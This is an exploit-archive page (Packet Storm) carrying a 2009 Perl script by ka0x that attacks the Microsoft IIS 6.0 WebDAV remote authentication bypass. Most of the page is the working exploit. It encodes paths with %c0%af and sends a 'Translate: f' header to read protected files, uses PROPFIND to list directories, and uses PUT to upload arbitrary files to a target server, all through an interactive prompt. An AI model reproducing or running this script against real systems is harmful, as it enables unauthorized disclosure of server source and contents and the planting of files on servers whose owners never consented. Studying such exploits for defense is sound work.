exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft IIS 6.0 WebDAV Bypass

Microsoft IIS 6.0 WebDAV Bypass
Posted May 27, 2009
Authored by ka0x

Microsoft IIS version 6.0 WebDAV remote authentication bypass exploit.

tags | exploit, remote, bypass
SHA-256 | 5462129e3f7a6bcfbbaec18c09a484954d4d67cfb29c59ddc206e5dafdbd4c4c

Microsoft IIS 6.0 WebDAV Bypass

Change Mirror Download
#!/usr/bin/perl -W
#
# Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
# written by ka0x <ka0x01[alt+64]gmail.com>
# Advisory: http://www.milw0rm.com/exploits/8765
#
# Greets: an0de, Piker, xarnuz, NullWave07, Pepelux, k0rde, JoSs, Trancek and others!

use IO::Socket ;

my ( $host, $path ) = @ARGV ;
my $port = 80 ; # webserver port

&usage unless $ARGV[1] ;

$host =~ s/http:\/\/// if($host =~ /^http:\/\//i) ;
$path =~ s/\/// if(substr($path, 0,1) eq '/');

sub _file {
$file = shift ;
open(FILE, $file) || die "[-] ERROR: ".$!,"\n" ;
while( <FILE> ){
$cont .= $_ ;
}
close(FILE) ;
return $cont ;
}


print "write 'help' for get help list\n";


while( 1 ) {

my $sock = IO::Socket::INET->new (PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp') || die "\n[-] ERROR: ".$!,"\n" ;
print "\$> ";
chomp( my $option = <STDIN> ) ;
last if $option eq 'quit' ;

if($option eq 'source') {
$path =~ s/\//%c0%af\// ;
print $sock "GET /".$path." HTTP/1.1\r\n" ;
print $sock "Translate: f\r\n" ;
print $sock "Host: ".$host."\r\n" ;
print $sock "Connection: close\r\n\r\n" ;

while(<$sock>){
print $_ ;
}
close($sock) ;
}


elsif($option eq 'path') {
$path =~ s/\//%c0%af\// ;
print $sock "PROPFIND /".$path." HTTP/1.1\r\n" ;
print $sock "Host: ".$host."\r\n" ;
print $sock "Connection:close\r\n" ;
print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ;
print $sock "Content-Length: 0\r\n\r\n" ;
print $sock '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop xmlns:R="http://www.foo.bar/boxschema/"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>' ;

while(<$sock>){
print $_ ;
}
close($sock) ;
}


elsif($option eq 'put') {
$path =~ s/\//%c0%af\// ;
print "[*] Insert a local file (ex: /root/file.txt): " ;
chomp( $local = <STDIN> ) ;
$file_l = _file( $local ) ;
print $sock "PUT /".$path."my_file.txt HTTP/1.1\r\n" ;
print $sock "Host: ".$host."\r\n" ;
print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ;
print $sock "Connection:close\r\n" ;
print $sock "Content-Length: ".length($file_l)."\r\n\r\n" ;
print $sock $file_l,"\r\n" ;

while(<$sock>){
print $_ ;
}
close($sock) ;
}

elsif($option eq 'help') {
print "\n\t\t- OPTIONS -\n\n\n" ;
print "\thelp\t\tgive this help list\n" ;
print "\tsource\t\tget file content\n" ;
print "\tpath\t\tget directory contents\n" ;
print "\tput\t\tput file\n" ;
print "\tquit\t\texit exploit\n\n" ;
}

}

sub usage {
print << 'EOH' ;

$ Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
$ written by ka0x <ka0x01[at]gmail.com>
$ 25/05/2009

usage:
perl $0 <host> <path>

example:
perl $0 localhost dir/
perl $0 localhost dir/file.txt

EOH

exit;
}




__END__

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close